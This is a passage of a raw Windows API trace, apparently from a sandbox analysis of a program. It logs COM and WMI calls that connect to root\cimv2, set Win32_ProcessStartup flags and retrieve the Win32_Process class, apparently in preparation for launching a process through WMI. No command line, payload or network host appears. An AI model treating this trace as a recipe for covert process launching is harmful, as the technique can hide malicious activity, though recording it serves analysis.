WbemDefPath:IUnknown:Release (This=0x1bedaf10) returned 0x3 [0071.701] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0071.701] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0071.701] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0d70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0071.701] WbemDefPath:IUnknown:Release (This=0x1bea0d70) returned 0x2 [0071.701] WbemDefPath:IUnknown:Release (This=0x1bea0d70) returned 0x1 [0071.701] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0071.701] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0071.701] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0d70, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bea0d70) returned 0x0 [0071.701] WbemDefPath:IUnknown:AddRef (This=0x1bea0d70) returned 0x3 [0071.701] WbemDefPath:IUnknown:Release (This=0x1bea0d70) returned 0x2 [0071.701] WbemDefPath:IWbemPath:SetText (This=0x1bea0d70, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0071.701] IWbemClassObject:Get (in: This=0x11e91d0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b3b78*=0, plFlavor=0x29b3b7c*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b3b78*=19, plFlavor=0x29b3b7c*=0) returned 0x0 [0071.702] IWbemClassObject:Get (in: This=0x11e91d0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b3b78*=19, plFlavor=0x29b3b7c*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b3b78*=19, plFlavor=0x29b3b7c*=0) returned 0x0 [0071.702] IWbemClassObject:Put (This=0x11e91d0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0071.702] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1070, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0071.702] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0071.702] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0071.702] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0071.702] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0071.702] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0071.702] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0071.702] IUnknown:Release (This=0x111f638) returned 0x1 [0071.704] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1bec6020) returned 0x0 [0071.704] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bec6020, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0071.704] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bec6020, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bea0cb0) returned 0x0 [0071.704] WbemDefPath:IUnknown:Release (This=0x1bec6020) returned 0x0 [0071.704] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0cb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bea0cb0) returned 0x0 [0071.704] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0cb0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0071.705] WbemDefPath:IUnknown:AddRef (This=0x1bea0cb0) returned 0x3 [0071.705] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0cb0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0071.705] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0cb0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0071.705] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0cb0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1bec6040) returned 0x0 [0071.705] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bec6040, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0071.705] WbemDefPath:IUnknown:Release (This=0x1bec6040) returned 0x3 [0071.705] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0071.705] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0071.705] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0cb0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0071.705] WbemDefPath:IUnknown:Release (This=0x1bea0cb0) returned 0x2 [0071.705] WbemDefPath:IUnknown:Release (This=0x1bea0cb0) returned 0x1 [0071.705] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0071.705] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0071.705] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0cb0, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bea0cb0) returned 0x0 [0071.705] WbemDefPath:IUnknown:AddRef (This=0x1bea0cb0) returned 0x3 [0071.705] WbemDefPath:IUnknown:Release (This=0x1bea0cb0) returned 0x2 [0071.705] WbemDefPath:IWbemPath:SetText (This=0x1bea0cb0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0071.706] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0cb0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0071.706] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0cb0, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0071.706] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0cb0, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0071.706] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0071.706] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0071.706] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0071.706] IUnknown:Release (This=0x111f638) returned 0x1 [0071.707] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1bec5e00) returned 0x0 [0071.707] WbemLocator:IUnknown:QueryInterface (in: This=0x1bec5e00, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0071.707] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bec5e00, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1bec5e20) returned 0x0 [0071.707] WbemLocator:IUnknown:Release (This=0x1bec5e00) returned 0x0 [0071.707] WbemLocator:IUnknown:QueryInterface (in: This=0x1bec5e20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1bec5e20) returned 0x0 [0071.707] WbemLocator:IUnknown:QueryInterface (in: This=0x1bec5e20, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0071.707] WbemLocator:IUnknown:AddRef (This=0x1bec5e20) returned 0x3 [0071.707] WbemLocator:IUnknown:QueryInterface (in: This=0x1bec5e20, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0071.707] WbemLocator:IUnknown:QueryInterface (in: This=0x1bec5e20, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0071.707] WbemLocator:IUnknown:QueryInterface (in: This=0x1bec5e20, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0071.707] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0071.707] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0071.707] WbemLocator:IUnknown:QueryInterface (in: This=0x1bec5e20, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0071.708] WbemLocator:IUnknown:Release (This=0x1bec5e20) returned 0x2 [0071.708] WbemLocator:IUnknown:Release (This=0x1bec5e20) returned 0x1 [0071.708] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0071.708] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0071.708] WbemLocator:IUnknown:QueryInterface (in: This=0x1bec5e20, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bec5e20) returned 0x0 [0071.708] WbemLocator:IUnknown:AddRef (This=0x1bec5e20) returned 0x3 [0071.708] WbemLocator:IUnknown:Release (This=0x1bec5e20) returned 0x2 [0071.708] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0cb0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0071.708] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0cb0, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0071.708] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0cb0, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0071.708] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1bec5e40) returned 0x0 [0071.708] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bec5e40, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bed3350) returned 0x0 [0071.950] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed3350, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11e0920) returned 0x0 [0071.950] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11e0920, pProxy=0x1bed3350, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0071.950] WbemLocator:IUnknown:Release (This=0x11e0920) returned 0x1 [0071.950] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed3350, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11e0960) returned 0x0 [0071.950] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed3350, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11e0920) returned 0x0 [0071.950] WbemLocator:IClientSecurity:SetBlanket (This=0x11e0920, pProxy=0x1bed3350, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0071.951] WbemLocator:IUnknown:Release (This=0x11e0920) returned 0x2 [0071.951] WbemLocator:IUnknown:Release (This=0x11e0960) returned 0x1 [0071.951] CoTaskMemFree (pv=0x1beaab00) [0071.951] WbemLocator:IUnknown:AddRef (This=0x1bed3350) returned 0x2 [0071.951] WbemLocator:IUnknown:Release (This=0x1bec5e40) returned 0x0 [0071.951] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0071.951] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0071.951] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed3350, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11e0930) returned 0x0 [0071.951] WbemLocator:IRpcOptions:Query (in: This=0x11e0930, pPrx=0x1bec5ae0, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0071.952] WbemLocator:IUnknown:Release (This=0x11e0930) returned 0x2 [0071.952] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0071.952] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0071.952] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed3350, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bed3350) returned 0x0 [0071.952] WbemLocator:IUnknown:Release (This=0x1bed3350) returned 0x2 [0071.952] SysStringLen (param_1=0x0) returned 0x0 [0071.952] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0cb0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0071.952] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0cb0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0071.952] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0cb0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0071.952] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1070, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0071.952] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1070, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0071.952] IWbemServices:GetObject (in: This=0x1bed3350, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x11e9540, ppCallResult=0x0) returned 0x0 [0071.957] IWbemClassObject:Get (in: This=0x11e9540, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0071.957] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0071.957] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0071.957] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0071.957] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0071.957] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0071.957] IUnknown:Release (This=0x111f638) returned 0x1 [0071.959] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1bec5e40) returned 0x0 [0071.960] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bec5e40, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0071.960] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bec5e40, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bea0bf0) returned 0x0 [0071.960] WbemDefPath:IUnknown:Release (This=0x1bec5e40) returned 0x0 [0071.960] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0bf0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bea0bf0) returned 0x0 [0071.960] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0bf0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0071.960] WbemDefPath:IUnknown:AddRef (This=0x1bea0bf0) returned 0x3 [0071.960] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0bf0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0071.960] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0bf0, 